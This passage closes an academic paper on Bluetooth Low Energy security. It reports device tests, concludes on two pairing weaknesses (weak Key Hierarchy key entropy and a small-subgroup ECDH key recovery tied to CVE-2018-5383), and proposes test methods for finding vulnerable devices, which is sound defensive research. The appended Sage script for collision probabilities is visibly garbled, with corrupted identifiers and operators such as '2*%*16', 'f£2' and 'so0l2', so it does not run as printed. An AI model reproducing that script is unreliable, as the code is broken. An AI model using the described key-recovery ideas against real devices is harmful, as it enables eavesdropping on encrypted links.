reject an invalid point right after receiving it which seems to indicate that
they verify it right away. However, some devices reject a pairing with an
invalid point when performing the DHKeyCheck exchange. In this case,
the test should be repeated several times, with several invalid points, to
gain confidence that the device indeed validates the public key.

The functionality was tested against Android in particular to verify
that the implementation works. The result are as expected: old Android
versions are affected while recent ones are patched.

Regarding the proposed key retrieval attack, tests have concluded that
some devices are vulnerable to CVE-2018-5383 and that some devices
use static key pairs. As there was no overlap between those two sets,
this particular attack could not be completed. Yet, these independent
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observations show that the existence of such vulnerable devices cannot be
completely overruled.

Overall, the tests on ECDH discussed in this paper showed their
efficiency on commercial devices.

8 Conclusion

The security of Bluetooth Low Energy devices is of great importance
due to their proliferation in recent years. As many standards, the BLE
specification is a rather complex document which does contribute to give
neither a clear comprehension of the security mechanisms nor a precise view
of the best way to implement those. Furthermore, backwards compatibility
raises questions about the way security is implemented and managed in
devices which are compatible with several versions of the standard. After
describing the various mechanisms meant to provide security properties to
this protocol, the previous work related to BLE communication security
was extensively discussed. This paper focused on the different processes
for key exchange and key generation in use in Bluetooth Low Energy.

Then, a description of two weaknesses that become exploitable when
some specific security requirements from the standard are not correctly
implemented is provided. The first relies on a lack of entropy in one
of the key generation methods described in the standard. The second
one represents an extension of CVE-2018-5383, which impacts the key
exchange in BLE.

This work showed that the Key Hierarchy key generation method,
used to generate the LTK in Legacy Pairing and the CSRK in all Pairing
modes suffers from a lack of entropy. An attacker with the ability to
repeatedly bond with a Slave device which uses this method is able to
get all the keys that the device will generate. Hence, this attacker is be
able to compromise the security of procedures which uses these keys,
in particular the Link Encryption and Data Signing procedures, which
provide Confidentialy, Integrity and Authenticity in the BLE protocol.
This proves to be significant change in the case of Legacy Pairing where
existing attacks all require an attacker to capture the Pairing procedure.
This attack affects JustWorks, Passkey Entry and Out of Band procedures,
require the implementation of the Key Hierarchy key generation and it
effectiveness will be conditioned by the way delays are introduced between
several pairing attempts, as required by the standard.

It was already known that, when a device uses LE Secure Connections
and uses a static or semi-static ECDH private key; then if it is vulnerable
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to CVE-2018-5383, it is possible to mount a small subgroup key recovery
attack to retrieve the private key in use. However, this scenario was swept
away by previous relevant literature. Based on observations of live devices,
it was considered plausible and therefore discussed in depth in this paper.
The complexity of this attack for different scenarios has been provided.
When in possession of the ECDH private key of a device, an attacker which
captures the LESC Pairing procedures made by this device will naturally
recover the LTK derived, hence will be able to decrypt communications
between the victim device and its interlocutor. This however relies on
implementation errors omitting to correctly implement the ECDH key
verification and the ECDH key renewal as required by the latest standard.

That being said, devices implementing correctly the security require-
ments of the latest version of the standard will not be impacted by those
attacks.

Those attacks being conditioned to implementation errors, an effort
was made to provide a test methodology for each weakness. This will
enable determining if a target device, which BLE stack might be closed
source and misconfigured, is vulnerable to the two attack vectors that were
described. The Key Hierarchy vulnerability being a diversity problem, a
probabilistic approach based on collision finding is proposed. It has been
shown that there exists a tradeoff between the number of pairing trials (i.e.
the temporal cost of the test) and the precision of the test. This tradeoff
was extensively discussed to enable a test operator to select the best
parameter choice with regards to his operational requirements. Regarding
the second scenario, one of the prerequisites being a vulnerability to CVE-
2018-5383, it is proposed to test for a bad key verification by performing
a pairing attempt with an invalid public key. Additionally, one can verify
the key renewal mechanisms implemented.

Furthermore, those tests do not rely on trying to exploit the vulnera-
bilities in order to prove that devices are protected.

A Sage script

#!/usr/bin/env sage

from sage.all import *
import time

# Work with sufficiently precise numbers to handle little quantities
R300 = RealField (300)

# Birthday paradox
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def collision_proba(M, N):
"""Returns the probability of getting a collision by picking M
elements
at random in a set of N elements”"""
e = (R300(M)*(R300(M)-1))/2
return (1 - ((R300(N-1)/R300(N)))**e)

# Get f1(p, t=nb_trials) and f2(p, t=nb_trials)

def make_probas(nb_trials):
proba_coll_key_hierarchy = collision_proba(nb_trials, 2*%*16)
proba_coll_random = collision_proba(nb_trials, 2**x128)

p = var(’p’)

f1 = proba_coll_key_hierarchy*p/(proba_coll_key_hierarchy*p +
proba_coll_random*(1-p))

f2 = (1-proba_coll_key_hierarchy)*p/((1-proba_coll_key_hierarchy
)*p + (1-proba_coll_random)*(1-p))

return (p, f1, f£2)

fig = text( "p", (1.1, -0.03), color="black")
for (idx, i) in enumerate ([10, 100, 300, 500, 700, 1000, 2000]):
(p, £f1, £f2) = make_probas (i)
fig += parametric_plot( (p, f1), (p, 0, 1), rgbcolor=(0.4 + 0.1%
idx,0,0), legend_label="f1(p,{})".format(i))
fig += parametric_plot( (p, £2), (p, 0, 1), rgbcolor=(0,0.4+0.1%
idx,0), legend_label="f2(p,{})".format (i))
print (i)
soll = solve((f1 >= 0.99), p)
print ("£1(0.1, {}) = {}".format (i, R300(£1(0.1))))
print ("f1(p, {}) >= 0.99: p >= {}".format(i, R300(soll[1][0].
right ())))
so0l2 = solve((f2 <= 0.01), p)
print("£f2(0.1, {}) = {}".format(i, R300(£2(0.1))))
print ("f2(p, {}) <= 0.01: p <= {}".format (i, R300(so0l2[0][0].
right ())))

fig += text( "N=300", (0.59, 0.5), color="black")
fig += text( "N=500", (0.6, 0.25), color="black")
fig += text( "N=700", (0.65, 0.09), color="black")

fig += text( "N=1000", (0.9, 0.05), color="black")

show (fig)
fig.save("n_varies.png")

nb_trials = var(’t’)

e = (nb_trials*(nb_trials-1))/2

proba_coll_key_hierarchy = (1 - ((R300(2**16-1)/R300 (2**16))) **e)
proba_coll_random = (1 - ((R300(2**128-1)/R300 (2**128))) **e)

f1 = proba_coll_key_hierarchy*p/(proba_coll_key_hierarchy*p +
proba_coll_random*(1-p))

£f2 = (l1-proba_coll_key_hierarchy)*p/((1-proba_coll_key_hierarchy)*p
+ (1-proba_coll_random)*(1-p))

F1
F2

f1.integral(p, 0, 1)
f2.integral(p, 0, 1)
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fig

= parametric_plot( (nb_trials, F1), (nb_trials, 2, 2000),
rgbcolor=(1,0,0), legend_label="F1(t)")

fig += parametric_plot( (nb_trials, F2), (nb_trials, 2, 2000),
rgbcolor=(0,1,0), legend_label="F2(t)")
fig += text( "t", (2000, +0.03), color="black")
fig.set_aspect_ratio(’automatic’)
fig.save("integrals.png")
Listing 1. Sage script
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